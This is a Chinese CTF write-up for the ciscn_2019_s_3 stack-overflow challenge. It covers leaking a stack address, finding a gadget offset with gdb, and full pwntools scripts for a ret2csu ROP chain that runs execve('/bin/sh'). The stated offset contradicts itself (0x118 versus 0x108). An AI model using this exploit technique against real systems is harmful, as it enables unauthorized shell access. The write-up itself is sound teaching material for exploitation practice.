本文主要是介绍ciscn_2019_s_3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
首先拿到程序先查看一下程序类型
是一个x86-64的ELF文件,查看一下保护,只开启了堆栈不可执行保护
用IDA分析一下该程序
main函数直接进入到vuln函数,这里利用了系统调用,64位的系统调用的传参方式为
首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
vuln函数执行了read(0,buf,0x400),又执行了write(1,buf,0x30)。看一下buf的位置,发现距离rbp只有0x10大小,存在栈溢出
这里的栈溢出需要注意一点,在vuln函数
pop rbpmov rbp,rsp程序结束的时候直接是:retn
注意!!!这里的retn是0x400519的retn,执行这个其实就跳出这个函数了。
而retn是做什么的呢?retn的操作是内 pop eip,然后执行eip指向的指令。
函数调用开始,rbp==rsp,并且值也一直没变过,所以这里覆盖rbp的时候,其实就需要将rbp覆盖成你想要的返回地址。所以这道题的偏移其实就是0x10就可以了!
通俗一点说,就是函数执行完毕后,eip的值就会等于ebp,所以ebp可以覆盖成想要的返回地址
在IDA中,我们还可以发现一个函数gadgets
,查看一下它的汇编代码
这里又出现了两个系统调用,查看一下调用号
stub_execve 的调用号 为 59(0x3B) stub_rt_sigreturn 的调用号 为 15(0x0F)
,并且赋值给rax后面接着retn
这里有两种解法,先给出ret2csu
的解法
解法一:ret2csu
通过系统调用59对应的execve,然后想办法执行execve("/bin/sh",0,0)
上面说到了可以进行栈溢出,执行execve就需要给寄存器赋值,那大概的布局就是这样的:
$rax==59$rdi==“/bin/sh”$rsi==0$rdx==0syscall
那这里,首先需要解决的问题是要给rdi寄存器放入"/bin/sh"字符串的地址,那这里必须要leak栈地址,然后通过固定的相对偏移得到"/bin/sh"地址
通过vuln
函数我们可以知道,write函数的buf距离ebp只有0x10的大小,却可以打印0x30大小的内容,那必然会打印出0x20大小的栈上的内容,只要打印出栈地址,只要算出该地址的偏移和/bin/sh的相对偏移,那就可以在程序每次执行的时候知道/bin/sh的地址了
通过调试我们来计算这个相对偏移
先在主函数下一个断点
运行之后,查看一下初始时寄存器的内容,在main函数开始时rsi存的便是栈地址,为0x00007fffffffdfc8
输入c继续执行,这里输入8个a,方便确定输入在栈的位置
用find
命令或者search
命令寻找输入的8个字节所在位置,此时处于栈中的0x7fffffffdeb0地址上
然后查看一下这段内存,x/8gx 0x7fffffffdeb0
根据刚才的分析可得,0x7fffffffdeb0后面栈上0x20大小的内容会leak
0x7fffffffdec0: 0x00007fffffffdee0 0x0000000000400536
0x7fffffffded0: 0x00007fffffffdfc8 0x0000000100000000
而0x00007fffffffdfc8就是栈地址,也就是进入main函数时的rsi
栈地址-字符串在栈中的地址 = offset
0x00007fffffffdfc8 - 0x7fffffffdeb0 = 0x118
所以,相对偏移为0x108
下面是调试的python代码
from pwn import *p = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
context.log_level = 'debug'main_addr = elf.symbols['main']
csu_end = 0x040059A
csu_front = 0x0400580
ret_addr = 0x004003a9
rax_59_ret = 0x04004E2
#gdb.attach(p,'b *0x00400589')
payload = '/bin/sh\x00' + 'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print 'stack_addr-->' + hex(stack_addr)
pause()
所以整体逻辑就是:泄露出/bin/sh的地址,然后用pop_rbx_rbp_r12_r13_r14_r15 , 将r12写入mov rax 3bh ; ret 然后通过 mov_rdx_r13_call 执行 call r12 。我们发现 [bin_sh_addr + 0x50]的地址是
mov rax 3bh ; ret 。然后我们跳转到pop rdi ; ret 将binsh压到rdi,然后执行syscall
此时rax为59 rdi为 /bin/sh 所以会执行system(“/bin/sh”)
from pwn import *elf = ELF("ciscn_s_3")
p = process("./ciscn_s_3")
# p = remote("node3.buuoj.cn",25673)
pop_rbx_rbp_r12_r13_r14_r15 = 0x0040059A
mov_rdx_r13_call = 0x0400580
pop_rdi_ret = 0x04005A3
vuln_addr = 0x0004004ED
sysecve_addr = 0x004004E2
syscall_addr =0x400501payload = '/bin/sh\x00' + 'A' * 0x8 + p64(vuln_addr)
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(8)) - 0x118
print hex(binsh)
payload = "/bin/sh\x00" + "a"*0x8
payload += p64(pop_rbx_rbp_r12_r13_r14_r15)
payload += p64(0) * 2
payload += p64(binsh+0x50)
payload += p64(0) * 3 #这里不能直接把/bin/sh通过csu给rdi寄存器,这里只能控制rdi的低32位edi
payload += p64(mov_rdx_r13_call)
payload += p64(sysecve_addr)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(syscall_addr)
p.sendline(payload)
p.interactive()
其实这里很多地方是通过调试才得到的,所以,还是要多学习调试,多理解程序运行的机制,再回来调试此题,这样会有更好的理解
这里给出一篇其它师傅的文章
ctf中关于syscall系统调用的简单分析
这篇关于ciscn_2019_s_3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!